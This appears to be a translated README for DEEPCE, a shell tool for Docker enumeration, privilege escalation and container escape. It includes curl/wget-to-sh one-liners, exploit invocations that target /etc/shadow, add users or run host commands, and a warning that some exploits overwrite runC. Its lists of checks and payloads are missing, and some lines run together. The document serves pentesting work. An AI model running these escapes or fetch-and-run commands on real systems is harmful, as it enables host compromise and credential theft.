
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Перечисление Docker, повышение привилегий и побег из контейнеров (DEEPCE)
Чтобы обеспечить совместимость с максимальным числом контейнеров, DEEPCE написан на чистом sh без зависимостей. Он будет использовать дополнительные инструменты, такие как curl, nmap, nslookup и dig, если они доступны, но в основном не полагается на них для перечисления.
Ни одна из процедур перечисления не должна затрагивать диск, однако большинство эксплойтов создают новые контейнеры, что приведёт к записи на диск, а некоторые эксплойты перезаписывают runC, что может быть разрушительно, так что будьте осторожны!
Ниже приведён список проверок, эксплойтов и полезных нагрузок, которые может использовать DEEPCE. Если у вас есть идеи по добавлению чего-то ещё, пожалуйста, создайте issue на GitHub!
DEEPCE можно загрузить на хост или в контейнер с помощью одной из следующих однострочных команд. Совет: загружайте в /dev/shm, чтобы не затрагивать диск.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
Если вам нравится то, что я делаю с Deepce и другими моими проектами, вы можете напрямую поддержать мою работу! Купив мне кофе ☕, вы не просто удовлетворяете мою потребность в кофеине — вы помогаете мне уделять больше времени разработке и улучшению этих проектов с открытым исходным кодом. Каждая чашка кофе имеет значение и приносит больше инноваций в мир кибербезопасности. Спасибо за вашу поддержку — она значит для меня и для сообщества с открытым исходным кодом очень много!
Больше примеров смотрите в папке docs

Ниже приведён список проверок, выполняемых DEEPCE.
Для каждого из перечисленных выше эксплойтов можно задать полезные нагрузки для эксплуатации хост-системы. Они включают:
/etc/shadow# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
Следующие примеры показывают различные виды эксплойтов, которые можно выполнить, и доступные полезные нагрузки.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
Можно загрузить и запустить deepce, не затрагивая диск, однако в этом случае вам будет сложно задать аргументы (можно напрямую манипулировать переменными с помощью export).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
Есть несколько отличных скриптов для перечисления/побега из контейнеров и инструментов перечисления, которые вдохновили меня при написании этого. Однако я чувствовал необходимость написать свой чисто на sh, чтобы не устанавливать зависимости go/ruby и не полагаться на статический бинарник. Я также хотел выполнять больше проверок, чтобы выяснить, что за docker-контейнер перед нами, ведь во время теста мы можем оказаться внутри неизвестного контейнера. Количество вещей, которые может перечислить этот скрипт, вышло из-под контроля: каждый раз, когда я добавлял что-то новое, я придумывал ещё дополнительные вещи, которые можно добавить.
Разработчикам, которые ищут советы по безопасности Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
Я приветствую pull request'ы, issues и обратную связь.